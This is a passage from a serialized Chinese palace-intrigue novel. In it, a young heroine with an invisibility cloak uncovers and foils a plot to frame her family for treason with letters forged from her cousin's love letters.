“陈大夫记账本的时候,不要把我的名字记上去,万一被人看到了账本,我有这些好药的消息流出去,会有其他人来找我拿药。” “像这样的药,甚至可以说一盒就是一条人命,肯定会惹人觊觎的,我们家只想平平静静过日子。” “这个乔姑娘你就放心吧,我们会保管好账本,绝不会泄露。” 乔镰儿却摇头:“但凡能够看见的东西就有会丢失的风险,也不是不让陈大夫做账本,可以使用一个化名什么的,也不要写我的地址,或者造一个地址出来。” “不然,我只怕不能安心和陈大夫做生意。” 陈大夫一听,赶紧答应下来:“行,这是小事,就按照你说的办。” “乔姑娘,你小小年纪,能想得这样周到,不错。” 快到中午,乔镰儿先去酒楼订饭,看着沿街的茶楼酒肆,铺子门面,她念头一转。 手上这么多银子,可以买些店铺,然后租出去,另一部分就藏起来。 田地是农民之本,是农民最后的退路,家里还有这么多口子人,然后乔老太乔老头不在了,各房都要分田地,得多准备一点。 对,买门面,买田买地。 把手里的银子换成产业,到时候谁搬得动,谁挖得走? 决定好这些,乔镰儿的一颗心安稳了不少。 她直接去了蔡老板的酒楼,一见面就说:“蔡老板,我家里人要到这里来吃饭,是不是该打个折呀。” 蔡老板一听就笑了起来,爽快说道:“这样吧,就按照本钱算给你们,打个三折。”尐説φ呅蛧 这丫头跟他做生意,也是大大方方抹去零头的。 乔镰儿以为,至少也要七八折啥的,一打就打三折。 不由得对蔡老板竖起了大拇指:“蔡老板厚道。” 蔡老板把乔镰儿带到一个开窗临街的大包间,视野很好,里面摆着一张大桌子。 “丫头,这个位置还满意吧,是剩下最好的。” “嗯嗯,很不错,蔡老板有心了。” “我家酒楼一百多个菜,想吃啥你都在菜单上选。”蔡老板让人取来了菜单,放在她的面前。 “这些做了标记的,是酒楼卖得最好的,最为人称道的。” “如果选得多了,再给你少一点。” “成,我不会跟蔡老板客气的。”乔镰儿笑笑。 蔡老板站了两秒,道:“乔姑娘,土豆和番茄又要卖完了,等一下能不能每一样来五百斤。” “可以啊,等吃好了饭给您送过来。” “行,那你好好挑着,到时候跟小二说一声。” 蔡老板正要出去,乔镰儿想到一件事情,叫住了他。 “蔡老板,我想问,这一条大街上的门面,是什么样的价位?” “乔姑娘,你要买门面,还是要租?” “我是要买。” “这个,哪怕是这条大街上,不同的位置价格也不一样,像中心人最密集的位置就贵一点,街头次之,街尾人流最少,就便宜许多,价格还跟铺子的大小有关系,这是最直接的影响因素。” “像在最中间的,中等大小的,起码要三百两,茶酒楼这样的规模自是不用说,没个五千两拿不下来,像街头,大概在二百五十两,街尾的,二百两可以盘下来。” “都是房契地契一起转让。” 听到蔡老板的这些话,乔镰儿意识到,现在的财力,也不过才值两个铺子而已。 她,不够有钱,甚至连小富婆都算不上。 蔡老板继续给她分析:“买了租出去,一个月十来两,一两年就可以回本,怎么都有赚头,只是很多人拿不出一开始的数目来买铺子。” “这一条街上,这段时间打算卖的铺子有四五家,有两家靠中间位置,还是挨着的,是同一个主人,这可是千载难逢的好机会呀,乔姑娘,你要买的话,得及时下手,昨天才挂出来的牌,相信很多人都在观望。” 他这么一说,乔镰儿也心动了。 “这样好的铺子,为什么要卖?”她不想有什么人命或者官司纠纷,到时候反而麻烦,所以要问清楚。 蔡老板知道她的想法,乐呵呵一笑:“主人家里有人考中了进士,封官在京畿地区,举家搬迁往京城。” “这样的铺子买来,说不定也要沾上一点福气呢。” 乔镰儿决定,等吃过饭,就去见一见那两个铺子的主人。 乔家人除了大用,都能来,一共八个人,加上凌老二家四口,一共十二个人,坐这个大桌子刚刚合适, 乔镰儿痛痛快快点了二十个菜。 在上菜期间,她把蔡老板要的五百斤土豆和番茄运来,一共卖了二十两。 然后赶着马车,去接乔家人和凌家人,经过那两个铺子的时候,乔镰儿看了一眼。 第542章 前因后果,清晰无误 杜青若曾经待过心月楼,这一点,稍微一查就可以查得出来。 她是自曝是杜家的女儿,要为父请冤,也被抓起来一同发卖,卖到了心月楼。 再去户部看了档案,多处细节都对得上。 而这一切,乔镰儿早就做了准备,杜青兰的家史,她也进户部摸得清清楚楚,所以不怕大皇子去查。 大皇子相信,乔镰儿就算再有一些特殊的本事,也是不可能做得这样周全,面面俱到的。 所以,他觉得杜青若这个人,基本上没有什么可怀疑的了。 不过,他还不能告诉杜青兰,她的妹妹在找她,免得干扰了她的心态,影响了计划。 等到乔家彻底完蛋,就让这一对姐妹一起服侍他,想到这里,大皇子只觉得一阵快意。 杜青兰的家世,还有所有的背景渊源,乔镰儿几天前经过调查户部档案,以及到她京畿地区的家乡访问那些认识杜家的人,已经详细掌握。 这个案子的来龙去脉是,一个三品官员犯了通敌重罪,也是姓杜,按规定要诛九族,但是碰巧当朝皇帝要大赦天下,所以除了官员一家处斩,所有的族人都判了流放和发卖。 杜青兰的父亲是个商人,还有些书香门第的传承,挂了一个九品的闲职,和那一名三品官员毫无干系,事发清点九族,有嫉妒独家的人,把杜青兰一家也报了上去,由此受到牵连。 这种事情见怪不怪,因为在京城,被案子牵连的门户太多了,要说女眷,有的被发卖到宫中和各大衙署做苦役,有的被卖到军营,有的被卖到青楼。 不过,乔镰儿有点怀疑,杜青兰之所以听从大皇子的话来接近乔家,是不是想要为被冤枉的家人平反? 事成之后,大皇子就达成她的心愿。 念及此,她神色一动,如果她没有猜错的话,整件事情的脉络,可算是理清了。 包括起因,动机,要实现的目的。 她庆幸自己有这么一个空间,有这一身隐身衣,要不然,根本不可能挖得这么深。 因为这件事,本来就藏得极隐蔽。 为家族平反,多么强烈的信念,杜青兰一旦行动,就绝不会收手。 晚饭,杜青兰在乔家吃,等大家吃了一半,乔镰儿才进厨厅。 “镰儿,咋回来的这么晚,快坐下吃饭。”乔老太道。 “是遇到了一件事,耽搁了时间。”乔镰儿道。 “什么事。”乔老大好奇问了一句。 “官府逮人,好像是逮错人了,我看到就要冤枉无辜的人家,先制止了下来,和官府一起调查,终于得出那一户人家是清白的,算是挽救了一家子的命运。” 一边说着,一边飞快扫了一眼杜青兰的神色。 果然,杜青兰好像想到了什么,脸色微微一白,手颤抖了一下。 “咱们家镰儿就是厉害,这种事情,动动小手指就能解决。”乔枝枝道:“现在救了一大家子,胜造七级浮屠。” 乔家人纷纷夸赞。 “也亏得有郡主和总兵这个身份,要是普通人去拦着,只怕已经被一起带走了。”乔老三道。 大家深以为然。 等大家吃好饭,门外突然来了一家子,上到八十高龄,下到六七岁幼儿,对着大门就跪了下来。 “郡主救了我们全家,郡主大义,我们刘家无以为报,下辈子当牛做马,也要报答郡主。” “要不是郡主,我们一家怕要死无葬身之地,郡主是活菩萨,大慈大悲的观世音菩萨。” 他们一边说着,一边抹着眼泪,感激不已。 乔家人赶紧出门去,把这一家人给扶起来。 “不用客气,不举手之劳而已,我们家镰儿是总兵,保家卫国,看到百姓有难,怎么能够坐视不管。”乔老太拉着那八十岁老婆子的手说。 “你们既然解了这个危机,那便好好过日子,放宽心,别多想。” 这一家人带来了鸡蛋,山上挖的新鲜竹笋,还有自家养的大公鸡,腌制的瘦肉香肠,用糯米打成的糍粑,无论如何也要送给乔家,不然不肯离去。 见他们盛情难却,乔家人这才勉强收下,然后又好言好语把人送走。 杜青兰站在乔家里,她紧紧攥着手上的帕子,脸上出现了一抹挣扎犹豫。 她想要实现的心愿,乔镰儿也能做得到,可是她在那个人的身边待了几年,却迟迟没有进展。 不,万一乔镰儿是在演戏呢,万一她猜到什么了呢。 这样想着,杜青兰的心头一紧。 她怀疑这一家人,是乔镰儿找来演戏的,不行,她要先去调查一个清楚。 第二天,杜青兰就开始行动。 她找的那一户人家的邻居,询问昨天发生的事情,是真的。 又去街道衙门,京城每一条大街,都设一个衙门。 不过,没有别的事情,杜青兰进不去,她给守门的衙差塞了一锭银子。 衙役看看左右,飞快把银子塞到袖子里,然后又仿若无事地站直身体,他压低声音。 “的确差点抓错人,是老爷搞错了,还好飞鸾郡主碰巧经过,还了那家人清白,不然,咱们老爷刚上任,要是一开始就出了娄子,怕是以后难说咯。” 杜青兰离开了这里。 看来,这不过是一个巧合而已。 但也说明了,乔镰儿有这个能力。 杜青兰又摇头,她家里的事情,牵涉的可是三品要员的通敌叛国之罪,除了皇上器重的皇子,还有谁能帮她。 乔镰儿遇到的这一户人家,跟她的遭遇,简直是小巫见大巫,根本就不能够相比。 她看着逐渐降临下来的暮色,眯起了眼睛,脸上有一抹凄惶茫然。 乔镰儿之所以演这一出戏,并不是要打动杜青兰。 而是要从类似的经历,来判断她的反应,从而证明自己的猜测。 果然,杜青兰演技再好,也有点失态,说明正撞了她的心坎上去。 她急切想要为自己的家人平反,洗刷冤屈。 前因后果,都清晰无误。 乔镰儿嘴角边多了一抹冷笑,接下来,就要看杜青兰有什么动作了。 第543章 要一天一封情书,不同内容 时间又过去半个月,杜青兰没有任何异常的表现,只是和乔家人特别亲近,几乎已经完全融入,她每次来,都是其乐融融的一片气氛。 “应该是要等成亲以后,那个时候,乔家人就几乎没有任何防备了。”裴时玖猜测。 “至少现在,她要守规矩,不会随便进任何一间屋子。” 乔镰儿也是这样想的,当时择日先生说把婚期定在两个月以后,杜青兰是不太情愿的,甚至差点开口说不在意。 她是想快点进入乔家家门的,真正成为这个家的一份子,她才好下手。 那么,她要做什么。 既然是大皇子的人,也就是庞达一伙的人,一定是想着让乔家覆灭。 会用什么手段,达到这个残酷的目的。 这样想着,乔镰儿只觉得身上的汗毛微微耸立起来。 小巷院子里,杜青兰依偎在乔大猛的肩头上。 “大猛哥,你给我写一封情书好不好。” “情书?”乔大猛有些不解,他已经对杜青兰表明了心意,两人情意相许,过了追求的阶段。 还有不到一个月的时间,他们就要成亲了。 杜青兰没有父母,所以那些繁琐的礼仪就简化了,但乔家对她是相当重视的, 所以,杜青兰让他写情书,让他一时不明白。 杜青兰轻轻点头:“我还要一天一封,不同内容,在情书里你要写上永远不会背叛我,不会和别人互通往来,不然,便是我永远的敌人,仇人。” “你要写上,我此生都是你的家人,妻子,你全部的疼爱只给予我一人,你对我的忠心和诚意,犹如磐石不可转移。” 大猛见一向柔弱的杜青兰竟然说出这样的重话,不由得一阵愕然:“兰儿,哪里会这样严重,我对你的心意,你是最清楚的,你说什么敌人,仇人,太吓人了,不可能。” 可杜青兰看着他,双眼开始泛红,让他的心一阵怜疼。 “大猛哥,我又何尝不知,这些话听来,对你是一种伤害,我也从来没有怀疑过你的真诚,只是我无依无靠,虽然你对我极好,但我仍然心中不安,你不在我身边的时候,我就看看白纸黑字,也是一种踏实。” 说着两行清泪从眼角滑落,她捂着脸,肩头颤抖着。 大猛哪里见得她这副样子,赶紧道:“不就是一天一封情书吗?不就是发誓保证吗?我写,我不是不愿意写,刚才只是有点意外,毕竟你都要嫁去乔家了。” “大猛哥,就算我要快要进你的家门,我的心中,也保持着女子对自己喜欢的人情书的向往啊。” “我真是个粗人,没有意识到这一点。”大猛懊悔:“你一定早就想提起这件事,是我不好,没有问问你想要什么。” “每天一封,我把我的心剖出来,写给你。” 杜青兰又道:“大猛哥,你不要在家里写,来我这儿写,我看着你一个字一个字落笔,心情高兴。” “好。”大猛应下。 杜青兰伸手抱着大猛的身躯,靠在他的肩头上,方才的柔情蜜意的脸,此刻一片冰冷,嘴角紧紧抿了起来。 乔大猛,对不住了,我身不由己,谁叫我命苦呢。 你们乔家过着这样的好日子,也过够了。 这辈子我没有选择,如果还有下辈子,我再报答你。 她凉寒的眼眸,再一次滑落泪水,和外面的天气一样冷。 所有的计划,一开始已经拟定,在达成之前,她不会和大皇子见面,也就避免了额外的麻烦。 再加上这关键的一击,极其的精妙。 乔镰儿再厉害,等到她摸清一切,已经来不及。 到时候,就是她杜家沉冤得雪之日。 马场,茶室,袅袅的茶香沁人心脾,驱散了几许寒气。 “太子可赏脸,今晚去乔家吃一顿饭。”乔镰儿问道。 楚尧策有些意外,这还是乔镰儿主动邀请他去家里吃饭,这其中,必然有缘由。 “皇上讨厌结党不假,但光明正大去吃饭,偶尔一两次,皇上也不会说什么。” “可,为什么。” 乔镰儿道:“这件事,我还是想和平解决,太子若是肯在乔家出面,就等于向杜青兰证明,乔家和太子走得近一些,完全有这个实力为她家平反,就看她的选择了。” 楚尧策笑了笑:“怎么心软了?” 在他的印象中,这并不符合乔镰儿的决断。 “因为大猛哥惜爱她入骨,因为乔家的每一人,都那样疼她,我是看在乔家的付出上,我不想看到他们知道真相后的失望,不想面对他们的痛心,这和在他们的心口上扎刀子有什么区别?” “如果她中途悬崖勒马,和大猛哥好好过日子,我可以当做前面的事情都没有发生过,我们乔家,还从来没有这样珍惜过一个即将过门的姑娘,可以说,嫁人之前,在她身上付出的心血最多。” “不是我对她心软,是我珍惜乔家人的心意。” “说真的,杜青兰也不是完全无可救药,我想到赌她最后一丝良心。” 楚尧策沉默一下,随即应下来:“好,这也是我们合作的一环,我自然是愿意配合的。” 晚饭,菜肴刚刚上齐,门外便传来一道朗然的声音。 “碰巧路过这里,闻着真香,似乎是从来没有吃过的菜式,可否来讨一口酒。” 大家往外一看,发现下人都在行礼,进来的正是太子殿下。 乔家人立刻出去行礼。 太子脸上带着淡笑:“大家不必客气,反而是本宫叨扰了,过意不去,过意不去啊。” 乔镰儿道:“太子肯赏脸登门,乔家蓬荜生辉,您难得来一趟,不说一口酒了,非要您不醉不归才行。” 说着,朝屋内打了一个请的手势。 太子疏朗地笑了起来:“乔家儿女个个优秀,既然来了,那我就和大家喝个尽兴。” 乔家人都隐隐感觉到,镰儿似乎和太子很熟络,彼此之间有一种很轻松的氛围。 难道—— 他们不敢想下去,但心中却是一阵压不住的激动。 镰儿真会选啊,选了太子,太子也似乎对乔家中意,要知道,不是你想站队,人家就愿意接纳的。 杜青兰也在乔家人中,以她的敏锐,立刻猜到了这一点。 第544章 提取关键词句 大皇子不会跟杜青兰说这些内政之事,所以,这也是杜青兰第一次知道,乔家是站在太子这一边的。 太子出现在门外,绝对不是什么偶然。 她的心中起了波澜,情绪一阵激动,既然如此,大皇子能够做到的事情,乔家肯定也能够凭着太子做到。 如果她改弦易辙,请求乔镰儿帮她,是不是就可以默不作声在乔家人的面前洗白,把那件事情瞒得死死的,永远成为过去。 是不是就可以得到,她所奢求的幸福,不管是和大猛相伴,还是和乔家人成为一家人,她的这一生,再也不会孤寂冷清,再也不会陷在过去的阴影里。 杜青兰的心里犹豫着,挣扎着,手反复捏住帕子又松开。 大皇子逐一和乔家人敬酒,态度带着亲近,身上的气息一片轻松。 杜青兰看在眼里,心里面被复杂的想法冲撞着,几乎都没有吃几口饭。 “杜姑娘。”太子对她举起酒杯。 杜青兰赶紧把酒杯举起来,有些受宠若惊:“太子殿下。” “听说你是个孤女,很不容易,不过你马上就要嫁到乔家来,乔家风气好,彼此相处融洽,你在这个家里一定会开心,本宫祝你与乔将军的亲事顺利举办。” 太子眉目疏朗,说出来的话也是含着几分诚挚,杜青兰心神一晃。 倒不是她对太子有心思,而是同样是皇子,那个人的眉宇之间带着阴鸷,完完全全是把她当成一个工具人。 太子说完,很是痛快的,将酒一饮而尽。 杜青兰心情沉黯纠杂,也准备将杯中酒喝完。 “多谢殿下的祝福。” 大猛看了她一眼,以为她是为难,便接过她手上的杯盏,带着歉意对太子说:“兰儿身子羸弱,不适合饮酒,便由末将替她,殿下见谅。” “不碍事。”太子大气地摆手。 由于身份的敏感,有些话他不能够说得太明白,就看杜青兰自己的领悟了。 太子酒到中途,说是东宫有事,便起身离去。 他的行踪绝对是瞒不住,要在那些人的面前,营造一种跟乔家不太熟的假象。 若是真的喝得醉醺醺的再走,那就要惹人微词了。 乔家人继续后半程,有了太子这个未来的靠山,大家的心情都有些不一样,对以后更有把握了,也更踏实了。 吃好饭,乔大猛送杜青兰回去。 在几盏灯光下,杜青兰看着乔大猛写情书。 “大猛哥,你写大一点,每一个字有半个拇指那么大。” “好。” 杜青兰说的那些话,乔大猛都记得,每一句都写到了点上。 他的字写得不好,甚至笔法笨拙,可他一笔一画写得很认真,每个字都方方正正。 这样的字又大清晰,正是杜青兰想要的。 本来她应该暗自高兴,可是心情却一刻都不得安宁,被什么拉扯着。 如果她去找乔镰儿,告诉她自己前面做错了,求她的帮忙,她会愿意吗? 太子的出现,固然不是偶然,但也未必是为了帮她。 甚至不可能,因为乔镰儿性子决绝冷酷,真的知道了她的全套计划,是不可能容忍她的存在的。 如果她抖出来,这件事,会不会闹得大猛,乔家人都知道,到时候,他们一定会对她感到失望,从而恨透了她。 她看着一脸认真的大猛,宁愿他知道真相的后一刻就去赴死,也不想她自己面对漫长的煎熬。 杜青兰闭上了眼睛。 “大猛哥,如果我做错了事情,你会怪我吗?” 大猛诧异地看了她一眼:“好好的为什么要这样说,兰儿,以前的一切都不是你的错,你是个可怜人。” “只要你以后和我好好过日子,只要你以后心里面只有我一个,我什么都不在意。” 他以为杜青兰说的是善人的事情,她一个弱女子,想要存活于世,迫不得已罢了。 他道:“我只恨自己没有早一点出现在你的身边。” 杜青兰走出屋子,院子里点了两盏风灯,天上没有一丝月色,光线黯淡,一切模糊不清。 她抬头看着灰沉沉的天,看了不知道有多久。 直到屋子里大猛说了一声:“好了。” 杜青兰走进去,大猛看到她双眼有些湿润的泪痕,心一下子就软了。 “怎么又哭了,我都说了不在意,是真的不在意,你也无须跟我提,我完全不放在心上的。” 一边说着,一边笨拙地用帕子给杜青兰擦拭眼角。 相处快要两个月了,杜青兰和别的男人没有任何来往,就证明了这一点。 她和那个善人已经没有联系,她是想要和他好好走下去的。 “你看看,我给你写的情书。”大猛不好意思挠头笑了笑:“字不好看,我们家我的字最粗最丑,你将就着看。” 杜青兰拿起那封信,偌大的一张宣纸上,写满了字句,她想要的关键词句,在这一页宣纸已经占了三成。 再来几次,应该就够用了。 “大猛哥,你写字这样笨,却写这么多,看得我的心里暖暖的。” “那我天天都写这么多给你。”大猛见她喜欢,很高兴地说:“还能练一练字呢。” 他看了看屋内外:“要不给你派几个士兵来,这个院子里只有你一个,我有点担心。” 杜青兰立刻拒绝:“不用了大猛哥,我都安全待了这么多年,左邻右舍都凶着呢,要是有人摸进来,喊一声就会有人过来。” 大猛也只好作罢。 等到大猛走了,杜青兰牢牢掩上了门窗,连一丝缝都不留。 然后把那一份情书放在火炉边烤干,明晃晃的火光跳跃在杜青兰美丽绝伦的脸庞上,映照出一抹冰冷的残忍。 她必须要走下去,她不能回头。 因为她明明确确知道,大皇子对她的承诺,其他人即便有希望,她也不敢去赌。 她不能承受额外的风波,按照既定的计划执行,才是她最有把握的事情。 等到这些字迹烤干了,杜青兰把宣纸铺平在桌上,然后用一把匕首,把选中的文字一个个抠下来。 第545章 八代不能翻身的罪名 光是抠出来的文字,就有二十几个。 杜青兰把这些小方块组合在一起,有的地方连贯,有的还要填充字样。 “大猛哥,这些字迹本来就是你的,我即便模仿得再像,哪里有直接用你的字迹更有说服力呢。” 乔镰儿等了好几天,杜青兰都没有来找她。 一开始她能看得出来,杜青兰有犹豫挣扎,还有愧疚,可是后来,她恢复了寻常,就是那种要作恶的理所当然,那种已经下定决心的一往无前。 乔镰儿就知道,杜青兰做出了选择。 她觉得好笑,竟然还给了这样的人一次机会。 而她已经仁至义尽,既然杜青兰不知醒悟,那就别怪她了。 像这样有污点的人,本来就不该留着,不过是她不想乔家的一片心意被践踏,才格外开恩了一次。 狼心狗肺的东西,不值得半点同情和手软。 自从让乔大猛写情书后,杜青兰都是门窗紧闭。 她深知乔镰儿身上有些特殊的本事,但即便如此也会留下动静,把门窗关好,乔镰儿也进不来。 但她低估了乔镰儿,因为到过的地方,乔镰儿可以直接确认抵达,又毫无痕迹转瞬离开。 此时此刻,她就站在一旁一动不动,避免带起任何空气流动,看着大猛哥又写下一封情书,依依不舍和杜青兰亲热一阵,然后离开。 杜青兰把所有的门窗都关严实,然后烘干字迹,把用得上的字样一个个用匕首抠下来,然后在桌上进行排列组合。 “再有一两次就够了。”她的嘴角勾起。 在她的引导之下,大猛会写出她想要的字句。 “大猛哥,你不要怪我,谁叫我身不由己。” 乔镰儿没有管杜青兰说什么,她看向桌上排列的内容。 骤然间,瞳孔紧缩,眼眸一下子冰冷到了极致。 她知道杜青兰得了大皇子的指示,想要毁了乔家,可没想到是用这么狠的招数。 这个罪名一旦扣上去,乔家八代都不要想翻身。 虽然还有些字句不完整,但是她已经可以联想起来,得到一个清晰的内容。 乔镰儿现在就想把杜青兰给大卸八块,只是可以,她不能隐身杀人。 杜青兰不知道怎么笑了起来,笑着笑着又哭了,一脸泪水。 “为什么?为什么上天要给我安排这样的命运。” “为什么我想得到幸福都不能,为什么要我亲手毁掉我的幸福。” “我好恨啊。” 咎由自取。乔镰儿心里怀着这四个字,离开了这里。 杜青兰突然想到,她不能等到成婚的那一天,她要提前动手。 不然到时候,她就是乔家人,罪名下来,她也难逃一劫。 一念即此,她身上起了一层冷汗。 这一点大皇子知道吗?商定计划的时候,大皇子并没有告诉她,到时她入了乔家的门,应该怎么保住她。 杜青兰的手颤抖了起来,就连心肝都跟着哆嗦,是疏忽吧,大皇子一定是忘了。 她跟了他几年,他不可能对她的生死视而不见,如果他能够记起来,是会为她安排后路的。 可在她的印象中,大皇子是个心思缜密的人,很难错过什么细枝末节—— 杜青兰按着心口坐下来,脸色一片惨白,全身上下,好像被冰窟包围。 她实在无法说服自己,她也不知道该怎么让自己信服,大皇子是在意她的,而不是只把她当成一个工具人。 杜青兰又紧紧攥住了手帕,不管怎么样,她都要让计划顺利进行,提前进行,为家人平反,也保住她自己。 对,只要达到这两个目的,就足够了,她本来就不该奢求太多。 过了几天,内容拼图终于完成。 杜青兰坐在桌前,面对这一份完整的内容,纤弱的身子一动不动。 她并没有想象当中那样高兴,也没有即将完成一件大事的如释重负。 “杜青兰,马上就要事成了,杜家就要沉冤得雪,你也要恢复自由身。” “你应该很开心才对。” “难道你不忍心对乔家人下手,难道你真的喜欢那个乔大猛。” 杜青兰又是一阵自言自语,半哭带笑的,形状都有些疯癫。 终于,她把拼图内容一张张叠起来,出了门,走进一家印刷店,给老板塞了两大锭银子,老板立刻满脸笑容,点头哈腰。 又等了好一会儿,杜青兰揣着两封信,出了印刷店。 “大猛哥,我想去营地看你练兵。” 吃过晚饭,去小巷的途中,杜青兰对大猛说。 “我一练就是一天,很少有休息的时候,怕是没有时间陪你。”乔大猛有点为难。 “我不会打搅你,我只是想看看你练兵的英武,因为你是我这辈子的依仗,更是我的骄傲。” 大猛听了,心头一阵激动,能够成为心爱之人的依仗和骄傲,那是多么了不得的事情啊。 “好,明天一大早我来接你,你要是累了,就在中军大营里休息。” 第二天,乔大猛就把杜青兰接去了军营。 都知道乔将军要成亲了,可是看到准新娘这样美丽,将士们不由地纷纷夸赞了一番。 “将军真有福气,能够娶得这样的美娇娘。” “成亲以后,将军怕是拿不出这么好的精力来训练我们喽。” “贫嘴,都给我集合列队。”大猛绷着脸说,心里面却美滋滋的。 杜青兰在一旁看着乔大猛训练,一边夸赞着,把乔大猛夸得自尊心膨胀,越发卖力地训练。 杜青兰对这些实际上没什么兴趣,耐着性子作了好一会儿的戏,按了按眉心。 “怎么了兰儿,身体不舒服吗?” “是有点累,从来没有站这么久,大猛哥,那我先去休息,等一会儿再出来看你练兵。” “好。”乔大猛立刻让两名士兵送杜青兰到中军大楼他的房室里。 校尉和中郎将都有属于自己的房室,而且都很宽敞,不过里面的东西不多,一眼看去有些空落落的。 杜青兰掩上门窗,在里面转悠了一会儿,确定了一个不错的位置,然后把袖子里的信拿出来。 第546章 有新秀勾结外族 把要做的事情做了,杜青兰出了房间,去了大厅。 她临窗而立,看着教练场上整齐有序的训练。 乔家军稳扎稳打,堪称精良,等到乔家一完,这些辛苦练出来的兵,就是大皇子的。 他,应该会感激她的吧—— 她做的这一些,都是值得的。 杜青兰这样安慰着自己,手上捏紧了帕子又松开。 等到杜青兰重新去陪伴大猛,一道身影落在大猛的房间。 乔镰儿看了一眼外头的客厅,杜青兰终于不在了。 她前面来了两次。 杜青兰这个人分外的敏锐,乔镰儿怀疑,她能感觉到任何一点轻微的响动。 这就是为什么,明明她抱着目的而来,可是私底下说的话,却像是情真意切的流露。 当一个人在私底下也演戏,只能说明,她或许察觉到了什么。 在房间里面好好找了找,乔镰儿从被褥的最下层,摸出来一封信。 这封信藏得很巧妙,是用一块同色系的布料,绣在被褥的上面。 信上的内容她前面已经看过,不过是补了几个字而已。 但她的眼眸还是冷了下来。 每看一次,都让她杀心泛起。 这是一封通敌叛国之信,每一个字句,都表明了对北方最大敌国跶驽投靠的坚定决心,以及与大泽国决裂的信念,还把乔家全家都带上,表示若有违背,天诛地灭。 而跶驽这二字,大猛是绝对不会写在情书里的,是因为杜青兰在一旁提点,要是他辜负了她,她就跑到跶驽的荒漠去,再也不回来,这才让她提取到了这两个字眼。 乔镰儿手指一紧,这一封通敌的信,一下子被她攥在掌中,而她浑身冷气弥漫。 自从杜青兰迈出这一举动,她就绝没有半点值得原谅的余地。 千刀万剐,也不为过。 然后,乔镰儿又从袖子里面摸出另一封信,缝到刚才的那个位置。 做好这些,她回到家里。 如果她没有猜错的话,下一步,杜青兰要在乔家宅子里,也藏上这样一封信。 好,那她就等着看她希望破灭的那个时刻。 今晚杜青兰没有来。 吃过晚饭,大猛照例要去找她。 乔镰儿坐在亭子下,看着他离去的身影,脚步轻快,脸上带着雀跃。 距离婚期近了,乔家的宅院开始张灯结彩,每个乔家人,都怀着新人即将入门的喜悦。 “规格不能低,但不能越过清容去,毕竟清容是老裴王的孙女,裴二爷又是统率禁军的中郎将,咱们乔家再喜欢青兰,也要讲规矩。” 大厅里,乔家人在商量大婚的操办事宜。 “没错,乔家疼爱青兰,但她毕竟是一个孤女,乔家表现出应有的重视即可,若是太过了,就不恰当了。”乔老大接过乔老太的话头。 然后,大家定下各个事项和规格,由牧星河写下来。 这种事情他们来就可以,就不用麻烦乔镰儿,因为镰儿每天都很辛苦。 乔镰儿站在夜色中,看着乔家人脸上的喜色,心情一阵沉重。 是的,她不想打破大家的欢喜,不想让大家失望难过,所以给了杜青兰一次机会。 可她最终还是选择,亲手把乔家推入深渊。 好狠的心! 当然,如果她知道,杜青兰是要耍弄这样的招数,她是连一次机会都不会给的。 以前杜青兰只有下午接近吃晚饭的时候才来,这久她早上就到乔家了,甚至一待就是一天。 乔溪儿和裴清容都怀孕了,二人有的是大把时间和她唠嗑。 看到二人毫无保留和她交谈,两个孕妇反而来体贴她,杜青兰一时不知道,是该笑乔家人天真,还是笑她自己太冷血。 这一天,乔溪儿和裴清容去逛后花园,其他人各有各的事情忙,乔镰儿去了封地。 正厅里没有别人。 杜青兰过去把门给虚掩上,她走到神龛前,将手上的信,塞到了香炉底下,又用香灰重新覆盖。 除非香炉满了,不然一般不会倒掉,而要经过几年的节日和大年才会满炉。 所以,把信藏在里面,是绝对不会有人翻到的。 做完这些,杜青兰又把门打开,往外头看了一眼,一切如常,没有人发现她的异样。 到现在,两封致命的信已经安排在乔家,一个是军事驻地,一个是门庭。 就等着造势了。 “青兰,你要回去吗?”看到杜青兰准备出门,逛完后园回来的乔溪儿问。 “嗯,毕竟要成亲了,我也想回去准备一下。” “差点给忘了。”乔溪儿道:“虽然只有你一个人,但是你的小院子也是要好好布置一下的,这样你从那里出嫁,也风光一些。” 她伸手招来一堆下人,交代他们去采买物资,给杜青兰装点院子。 事无巨细,百般周全。 杜青兰看着那张诚恳的脸,一时有些愣神。 “我们怀着身子,家里不让出门,不然也跟着你一起布置。”裴清容过来,拉着她的手。 自从上一次乔溪儿在外头流产,乔家人就特别的谨慎。 不是要限制自由,而是实在赌不起。 杜青兰的心好像被刀子刺了一下,一时特别的难受。 她几乎就要心软,终止这个计划。 但她也知道这意味着什么,意味着他的父母,永远要做见不得光的冤鬼。 所以她的手指默默掐着掌心,直到掐出血来。 努力挤出一个笑容:“他们做这些轻车熟路的,就不用你们操心了,谢谢你们的心意。” “你的手这么冰冷。”裴清容把手上抱的汤婆子塞到杜青兰的怀里:“刚刚加的炭。” 杜青兰抱着汤婆子往外走,抬头看了看灰沉沉的天,避免让泪水滑落。 她多么希望,她能嫁入乔家,和她们成为真真正正的一家人。 可是,命运偏偏由不得她选。 等到杜青兰走了,一直坐在客厅里的乔镰儿卸去隐身衣,显出身形来。 没错,她就守在这里面,等着杜青兰的动作。 还以为杜青兰是要成婚后才动手,现在却如此迫不及待,肯定是有她自己的打算。 但乔镰儿不关心她是怎么想的。 她走到神龛前,把香炉里的内容换掉。 过了两天,京城隐隐传开一个消息,有人勾结跶驽国,意图造反。 而想要造反的人家,是京城才崛起的新秀。 第547章 的确,假的真不了 跶驽国是北方部落联盟最大的国家,据守最中心的位置,和大泽国之间只隔了一道绵延的山脉,草原肥美,兵强马壮,一直对大泽国虎视眈眈,是大泽国的心腹大患。 几年前,北方部落联盟入侵大泽国,主力部队就是跶驽国,兵力占了其中七成,北方部落联盟战败之后,与大泽国签定停战协议,跶驽国是赔得最惨重的部落国家。 所以大泽国上下猜测,跶驽国一定相当的不服气,不甘心,说不定在蠢蠢欲动,暗中恢复修补实力,就等着哪一天,再联合其他部落,一举南下。 现在,这个重磅消息传开了,很多人是深信不疑的,毕竟跶驽国强大,毋庸置疑,甚至在几百年前,他们短暂统治过中土这一片土地,虽然仅有二十来年就被激烈的反抗打跑,但曾经入侵成功的历史,给中土人留下了深刻的印象,甚至可以说是一定程度的阴影。 一定是有新贵,觉得投靠跶驽国有希望,所以要背弃朝廷,成为跶驽国的走狗。 随着日子一天天过去,这个消息在不断发酵,像滚雪球一样越滚越大。 就连高门贵族的宴会,都在讨论这件事情。 “虽然跶驽国强大,但是几年前被大泽国打得元气大伤,现在还没有恢复三成力气,谁会这样想不通,去和跶驽国勾结。” “都说是新秀,肯定是资历尚浅,分不清大小王,一时头脑糊涂,就投了敌国,既然有消息传出来,说明有人已经知道是哪一门户,就等着时机一到,抖出来呢。” 